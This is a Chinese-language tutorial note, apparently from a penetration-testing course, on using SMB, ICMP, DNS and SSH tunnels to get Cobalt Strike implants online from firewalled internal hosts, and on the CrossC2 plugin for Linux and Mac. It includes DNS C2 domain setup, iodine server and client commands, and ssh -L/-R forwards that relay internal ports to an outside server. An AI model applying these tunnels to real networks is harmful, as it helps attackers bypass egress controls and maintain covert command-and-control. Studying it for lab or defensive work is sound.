内网安全-隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
目录
内网安全-隧道技术&SSH&DNS&ICMP&SMB&上线通讯Linux&Mac
#知识点:
1、入站规则不出网上线方案
2、出站规则不出网上线方案
3、隧道技术-SMB&ICMP&DNS&SSH
4、控制上线-Linux&Mac&IOS&Android
#SMB隧道&通讯&上线
判断:445通讯
上线:借助通讯后绑定上线
通讯:直接SMB协议通讯即可
#ICMP隧道&通讯&上线
判断:ping命令
上线:见前面课程
通讯:其他项目(icmpsh icmptunnel)
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel
SMB隧道和ICMP隧道这两个在前面我们已经讲过了,这里就简单说一下,首先判断SMB隧道能不能行就是看目标主机有没有开启445端口,这个端口一般都是打开的状态,判断ICMP协议的话就是看能不能ping通目标主机。
那么我们就可以利用下面两点来确定使用什么隧道
1、判断出网协议
2、使用出网协议建立隧道
隧道技术-DNS协议-判断&通讯&上线
判断:nslookup dig
上线环境:
内网主机只出网DNS协议数据,解决上线
域名申请及配置
监听器创建及配置
后门绑定监听器及生成
首先我们这里用到的攻击机是云服务器,目标主机为win7,win7的入站规则只能让DNS协议通过,出站协议把tcp全禁止了,也就是说正向后门和反向后门都不行了,我们只能用这个DNS隧道了。目标主机win7的外网地址为192.168.125.128,内网地址为192.168.11.128。云服务器ip为8.130.74.211
这里我们需要先知道一个前提知识,就是dns在区域传输的时候使用tcp,域名解析的时候使用UDP
并且我们做DNS隧道需要准备一个域名,这里直接拿我的域名来做实验
这里我们添加三条记录来做实验,www那个是之前的不用管
首先cs.xiaopei.online指向我服务器的IP地址,然后添加两条NS记录指向cs.xiaopei.online。也就是说访问ns3.xiaopei.online就会转到cs.xiaopei.online这里,其实一条就行了,这里又加了一个ns4作为备用。
首先我们先生成一个http的后门放到win7上面是可以正常上线的,但是当我们把tcp全禁之后就上不了线了。
这个时候是可以ping通外网的,但是网站访问不了外网了,因为ping命令是icmp协议在tcp协议下面,因此这里是可以利用icmp隧道来上线的,但这个讲过了就不讲了,这里讲DNS隧道
这里可以看到dns是可以正常解析的,而网站却打不开,这就是因为dns在解析的时候走的是udp,访问网站的时候需要用到tcp协议(还有一部分原因是因为网站时http协议在tcp协议上面),那么这个时候我们就可以利用dns隧道让其成功上线cs
然后我们配置监听器,意思就是当解析ns3.xiaopei.online的时候就会解析到cs.xiaopei.online。然后cs.xiaopei.online就会解析到服务器ip从而上线
但我这里点击保存显示53端口被占用,监听器启动不了,然后我就换了54端口才好(但实验最后没成功)
本来ns3.xiaopei.online应该解析到cs.xiaopei.online,但是我这里解析不到不知道为啥,最后利用监听器生成的后门也是没有上线,不知道是端口的问题还是解析的问题(下面用小迪的图来讲解)
点击生成的后门之后,cs就会上线了
可以看到上线了一台黑屏幕的电脑
然后敲个命令mode dns-txt即可上线
然后我们再来说一下通讯问题,其实这个没有讲的必要,因为这个通讯需要用到工具iodine,必须是取得权限才能把该工具上传到目标机器从而进行通讯,但都已经有权限了还通啥讯呢,并且该工具适用于linux,windows也能用把,小迪做这个通讯的时候用linux一下就好了,windows几下还没弄好,这里就不再说了,因为不重要这个
2、通讯环境:
内网主机只出网DNS协议数据,解决通讯
GitHub - yarrick/iodine: Official git repo for iodine dns tunnel
判断出网:nslookup www.baidu.com
-服务器:设置密码xiaodi并创建虚拟IP及绑定域名指向
iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD
设置密码xiaodi并创建虚拟IP及绑定域名指向
-客户端:连接密码xiaodi并绑定域名指向
iodine -f -M 200 -P xiaodi ns1.xiaodi8.com
-尝试通讯尝试连接:
ssh root@192.168.0.2
隧道技术-SSH协议-判断&通讯&上线
此时我们需要用到linux跳板机,并且跳板机权限为root才行。条件比较苛刻把属于是,用处不太大。然后cs没有ssh协议隧道,所以想要用ssh上线cs需要用到插件。这里讲的ssh隧道只是解决通讯,没有icmp隧道和smb隧道好用,因为这两个在cs里面都有,可以直接利用这两个隧道上线cs
判断:ssh连接
1、上线:
由于CS无SSH协议监听器配置,无法上线
2、通讯:
由于SSH协议存在于Linux系统,跳板机必须Linux
ssh隧道的对象是Linux,跳板机必须为root权限,没有太大意义
跳板机开启ssh协议,一般都会开,没开就用下面的命令开
开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
如果是出站被封,我们就利用正向,把权限交到本地然后我们主动去找他;如果入站被封,我们就利用反向,让他把权限交给我们服务器
本地:出站封
ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166
远程:入站封
ssh -CfNg -R 1234:192.168.1.15:8080 root@47.94.236.117
先演示反向,也就是在kali跳板机那里执行下面这个命令,通过ssh协议实现内网探针,因为kali跳板机和目标机器win7在同一内网,就把访问目标机器8080的流量发给服务器的1234端口,然后服务器在访问本机的1234端口即可实现内网探针
首先kali敲下命令,这里让输入密码,输入的是你服务器的密码,这你肯定知道的
然后在服务器访问1234端口即可
然后就是正向的,意思就是把kali访问win7的8080端口的流量打给自己的1122端口,
kali输入命令之后需要输入本地密码,也就是kali的密码,然后在kali本机访问kali的1122端口即可实现网络探针
控制上线-插件-Linux&Mac&IOS&Android
该项目可以用于linux和mac的cs上线,他是cs的插件,ios和android的上线还在内测没有发布,然后不知道为啥我去github下载的没有服务端的源文件,就简单说一下怎么安装的把
截图为迪总的截图,后面三个分别是linux版和mac版以及windows版,如果你的cs服务器为linux,那么就选Linux的。然后上面两个是cna文件,第二个压缩包里面有两个cna文件,相当于一共三个cna文件,在客户端导入即可使用。
https://github.com/gloxec/CrossC2
面向Linux Mac IOS Android系统上线支持
1、插件使用
2、命令使用
使用参考:
目前版本只支持反向的https和正向的tcp
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成
想要详细了解这个插件的可以看这个链接:
工具使用 | CobaltStrike上线Linux主机(CrossC2)_Ms08067安全实验室的博客-CSDN博客